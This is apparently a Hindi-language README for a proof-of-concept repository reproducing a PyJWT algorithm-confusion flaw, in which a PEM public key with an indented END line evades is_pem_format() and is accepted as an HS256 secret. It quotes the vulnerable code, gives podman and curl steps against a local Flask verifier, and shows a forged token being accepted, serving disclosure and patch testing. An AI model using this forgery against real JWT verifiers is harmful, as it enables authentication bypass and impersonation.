
CVE-2026-102-268 (PyJWT Asymmetric-PEM detection bypass) के लिए Exploitability PoC।
शोषणीयता विश्लेषण परिणाम: मूल कारण की पुष्टि हो चुकी है और एंड-टू-एंड शोषण पुनरुत्पादनीय है। एक व्हाइटस्पेस-म्यूटेटेड PEM सार्वजनिक कुंजी PyJWT के
is_pem_format()गार्ड को बायपास करती है और एक वैध HMAC सीक्रेट के रूप में स्वीकार कर ली जाती है, जिससे किसी भी ऐसे सत्यापनकर्ता के विरुद्ध पूर्ण HS256 टोकन फ़ॉर्जरी संभव हो जाती है जोRS256के साथ-साथHS256को भी allow-list करता है। विवरण के लिए विश्लेषण देखें।
CVE-2026-102268, PyJWT में एक एल्गोरिदम-कन्फ्यूज़न भेद्यता है। किसी भी कुंजी को HMAC सीक्रेट के रूप में उपयोग करने से पहले, HMACAlgorithm.prepare_key() is_pem_format() को कॉल करता है ताकि ऐसी कुंजियों को अस्वीकार किया जा सके जो PEM-एन्कोडेड असममित कुंजी या प्रमाणपत्र जैसी दिखती हैं — यह RS256/HS256 कन्फ्यूज़न हमलों के विरुद्ध मानक रक्षा है।
is_pem_format() एक एकल regex है जो कुंजी बॉडी और BEGIN/END मार्करों के बीच सटीक \r?\n निकटता की मांग करता है। cryptography के स्वयं के PEM लोडर में ऐसी कोई आवश्यकता नहीं है। मार्कर-से-सटे व्हाइटस्पेस, केवल-CR लाइन टर्मिनेटर, या एक ही पंक्ति पर फोल्ड की गई PEM फ़ाइल को cryptography.load_pem_public_key() द्वारा पूरी तरह वैध कुंजी के रूप में पार्स किया जाता है, जबकि समान बाइट्स पर is_pem_format() False लौटाता है।
परिणाम: असममित-कुंजी गार्ड कभी सक्रिय नहीं होता, सार्वजनिक कुंजी को HMAC सीक्रेट के रूप में स्वीकार कर लिया जाता है, और जिसके पास भी वह सार्वजनिक कुंजी होती है — जो परिभाषा से सार्वजनिक है — वह किसी भी ऐसे सत्यापनकर्ता के लिए वैध HS256 टोकन बना सकता है जो RS256 और HS256 दोनों को allow-list करता है।
इस रिपॉज़िटरी में एक न्यूनतम Flask सत्यापनकर्ता और इस दावे को एंड-टू-एंड सत्यापित करने के लिए एक पुनरुत्पादन कुंजी शामिल है।
| प्रभावित सीमा | में ठीक किया गया |
|---|---|
| < 2.14.0 | 2.14.0 |
jwt/utils.py में भेद्य जाँच (2.14.0 से पहले के सभी संस्करण):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
jwt/algorithms.py में इस पर गेटिंग:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
regex के [- ] विभाजक केवल मार्कर डैशों से सीधे सटे एकल डैश या स्पेस को सहन करते हैं। कुंजी बॉडी के ट्रेलिंग न्यूलाइन और END मार्कर के बीच बैठा कोई भी अन्य व्हाइटस्पेस — एक इंडेंट, एक अनाथ \r, एक री-रैप्ड एकल पंक्ति — मैच को विफल कर देता है, इसलिए is_pem_format() उस फ़ाइल पर False रिपोर्ट करता है जिसे cryptography बिना किसी शिकायत के पार्स करता है।
फिक्स (commit 8b4e233, 2.14.0 में जारी) regex को समर्थित BEGIN/END मार्कर सेट पर एक one-pass स्कैनर से बदल देता है जो सटीक न्यूलाइन निकटता पर निर्भर नहीं करता — इस बायपास को बंद करते हुए और, उसी परिवर्तन में, उसी फ़ंक्शन में एक संबंधित ReDoS (CVE-2026-102270) को भी।
इस रिपॉज़िटरी में public_key.pem एक सामान्य 2048-बिट RSA सार्वजनिक कुंजी है जिसमें एक परिवर्तन है: -----END PUBLIC KEY----- पंक्ति चार स्पेस से इंडेंट की गई है।
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
utils.py चलाना Flask ऐप से स्वतंत्र रूप से, सीधे लाइब्रेरी के विरुद्ध बायपास की पुष्टि करता है:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") सफल होता है। पैच किए गए PyJWT (≥ 2.14.0) पर, यही कॉल InvalidKeyError उठाती है — is_pem_format() इंडेंट की परवाह किए बिना फ़ाइल को सही ढंग से PEM कुंजी के रूप में फ़्लैग करता है, और HMAC पथ इसे अस्वीकार कर देता है। यहाँ, ऐसा नहीं होता: चार-स्पेस इंडेंट regex को चूकने के लिए पर्याप्त है, और सार्वजनिक कुंजी बाइट्स को एक सामान्य HMAC सीक्रेट के रूप में स्वीकार कर लिया जाता है।
app.py वास्तविक-दुनिया की पूर्व-शर्त को पुनरुत्पादित करता है — एक सत्यापनकर्ता जिसकी algorithms allow-list असममित और सममित एल्गोरिदम को मिलाती है:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
utils.py के दृष्टिकोण से फ़ॉर्ज किया गया टोकन, /verify पर सबमिट करने पर स्वीकार कर लिया जाता है: /verify 200 और फ़ॉर्ज किए गए क्लेम लौटाता है, ऐसे टोकन के लिए जिसे निजी कुंजी रखने वाले किसी भी व्यक्ति ने कभी हस्ताक्षरित नहीं किया।
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| उपकरण | संस्करण | नोट्स |
|---|---|---|
| Podman | ≥ 4.0 | Docker भी काम करता है |
| Python | ≥ 3.9 | केवल utils.py को स्थानीय रूप से चलाने के लिए |
| curl | any | /verify को सीधे निष्पादित करने के लिए |
podman-compose up -d
कुछ सेकंड प्रतीक्षा करें, फिर पुष्टि करें कि सेवा चालू है:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
यह public_key.pem के साथ HS256 का उपयोग करके {"some": "payload"} पर हस्ताक्षर करता है और परिणामी JWT प्रिंट करता है — फ़ॉर्जरी प्रिमिटिव। एन्कोडेड टोकन कॉपी करें।
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
requirements.txt में पिन किए गए 2.4.0 के स्थान पर PyJWT>=2.14.0 इंस्टॉल करके चरण 2 दोहराएँ। टोकन उत्पन्न होने से पहले ही jwt.encode() InvalidKeyError उठाता है।
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...
[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
{"message": "Access granted", "payload": {"some": "payload"}}
is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
guard in HMACAlgorithm.prepare_key() never fired.
============================================================